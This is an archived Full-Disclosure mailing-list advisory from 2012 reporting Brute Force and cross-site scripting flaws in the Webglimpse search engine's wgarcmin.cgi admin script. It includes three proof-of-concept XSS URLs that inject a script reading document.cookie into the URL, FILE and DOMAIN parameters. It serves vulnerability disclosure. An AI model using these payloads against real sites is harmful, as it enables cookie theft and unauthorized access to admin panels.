| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <003a01ccf4d1$415678b0$9b7a6fd5@ml> Date: Sun, 26 Feb 2012 23:54:02 +0200 From: "MustLive" <mustlive@...security.com.ua> To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk> Subject: Brute Force and XSS vulnerabilities in Webglimpse Hello list! I want to warn you about new security vulnerabilities in Webglimpse (in addition to previous ones). These are Brute Force and Cross-Site Scripting vulnerabilities. During 2008-2009 I've disclosed multiple vulnerabilities in Webglimpse (http://securityvulns.com/source15611.html), such as Cross-Site Scripting, Full path disclosure, Directory Traversal and Authorization bypass vulnerabilities. SecurityVulns ID: 9436 SecurityVulns ID: 9443 SecurityVulns ID: 9778 SecurityVulns ID: 9876 The first hole from them I've found already in 2007, when found vulnerability at site of Britain's Secret Intelligence Service (MI6, SIS), which was using this engine. Webglimpse - it's local search engine. ------------------------- Affected products: ------------------------- Vulnerable are Webglimpse 2.18.8 and previous versions. It was tested in Webglimpse 2.18.7 and 2.18.8, but the last version 2.20.0 (released this month) also should be vulnerable. Developers of Webglimpse were informed as this time, as four previous times, but they ignored all of the warnings and haven't fixed all these holes (at least officially). ---------- Details: ---------- Brute Force (WASC-11): http://site/wgarcmin.cgi Lack of protection against Brute Force attacks can be used to gain access to admin panel. At that it's possible to pick up login and password to guest account (if they aren't publicly available), which can be easier then to admin account, and then to use earlier mentioned Directory Traversal and Authorization bypass vulnerabilities to gain access to admin account. XSS (WASC-08): http://site/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T http://site/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T http://site/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/3089/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists